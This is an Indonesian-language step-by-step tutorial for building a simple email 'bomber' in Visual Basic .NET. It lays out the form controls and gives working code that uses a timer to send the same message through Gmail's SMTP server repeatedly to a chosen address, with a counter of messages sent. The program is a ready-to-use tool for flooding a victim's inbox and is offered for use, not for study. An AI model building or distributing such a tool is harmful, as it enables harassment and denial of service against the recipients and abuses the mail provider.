add 3 button/tombol
text/name
----------------
start / startbtn
stop / stopbtn
exit / exitbtn
add 5 textbox
text/name
-----------------
gmail username / usernamebox
gmail password / passwordbox
to: / tobox
subject / subjectbox
message / messagebox <-- buat ini multiline
add 1 timer
--------------------------
add 1 label
text/name
--------------------
0 / label1 <-- angka nol bukan huruf O
maka akan jadi seperti berikut ini
setelah panel jadi kita masukkan code dengan langkah langkah sebagai berikut
View --> Code
di paling atas tuliskan code berikut
- Code:
-
Imports System.Net.Mail
kembali ke designer, double klik tombol start dan tuliskan code berikut
- Code:
-
Timer1.start()
dobel klik tombol stop tuliskan code berikut
- Code:
-
Timer1.stop()
dobel klik tombol exit dan tuliskan code
- Code:
-
End
maka code akan nampak seperti berikut
Bagian terakhir, dobel klik pada timer dan masukkan code berikut
- Code:
-
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(usernamebox.Text)
MyMailMessage.To.Add(tobox.Text)
MyMailMessage.Subject = (subjectbox.Text)
MyMailMessage.Body = messagebox.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(usernamebox.Text, passwordbox.text)
SMTPServer.EnableSsl = True
Label1.Text = Val(Label1.Text + 1)
SMTPServer.Send(MyMailMessage)
Full code akan nampak seperti dibawah ini
pencet tombol f5 bila semua telah selesai.
ini adalah program bomber sederhana, anda bisa merubah layout, warna , atau icon dari folder debug.
semoga berguna